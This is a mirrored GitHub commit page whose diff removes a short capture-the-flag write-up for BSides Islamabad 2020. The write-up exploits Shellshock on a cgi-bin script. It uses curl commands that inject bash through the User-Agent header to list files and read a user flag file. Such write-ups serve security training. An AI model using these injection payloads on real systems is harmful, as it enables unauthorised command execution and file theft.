Mirrors/CTF-Writeups
2
0
Fork 0
mirror of https://github.com/AbdullahRizwan101/CTF-Writeups synced 2025-02-16 12:08:24 +00:00
Code Issues Projects Releases Packages Wiki Activity

Delete BsidesIslamabad 2020

Browse source
This commit is contained in:
AbdullahRizwan101 2020-11-08 05:27:18 -05:00 • committed by GitHub
parent 95bb20241e
commit 18b65de71f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 45 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

45
BsidesIslamabad 2020
View file

@ -1,45 +0,0 @@
<img src="https://imgur.com/NS6QZ4p.png"/>
Looking at the source code we find base64 encoded text
```
Like the way you think spidey Y2dpLWJpbi90ZXN0LnNo
```
On decoding
<img src="https://imgur.com/XVHZYRf.png"/>
I search on google about `cgi-bin` and found that they are mostly vulnerable to `shellshock` that allows execution of bash commands
On refering to this blog post
`https://wywyit.medium.com/ritsec-fall-2018-ctf-week-6-45d414035c76`
I used
```
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -type "*.txt"'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
```
And it gave me a bunch of files
<img src="https://imgur.com/VxDcMQi.png"/>
At the bottom I found
```
/usr/lib/python3.8/LICENSE.txt
/tmp/bash-4.3/doc/article.txt
/tmp/bash-4.3/doc/fdl.txt
/tmp/bash-4.3/examples/INDEX.txt
/home/admin/root.txt
/home/herman/user.txt
```
```
Bsides Islamabad# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /home/herman/user.txt'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
Bsides-PK-Fl4g{sinister_six}
```
And that was our flag !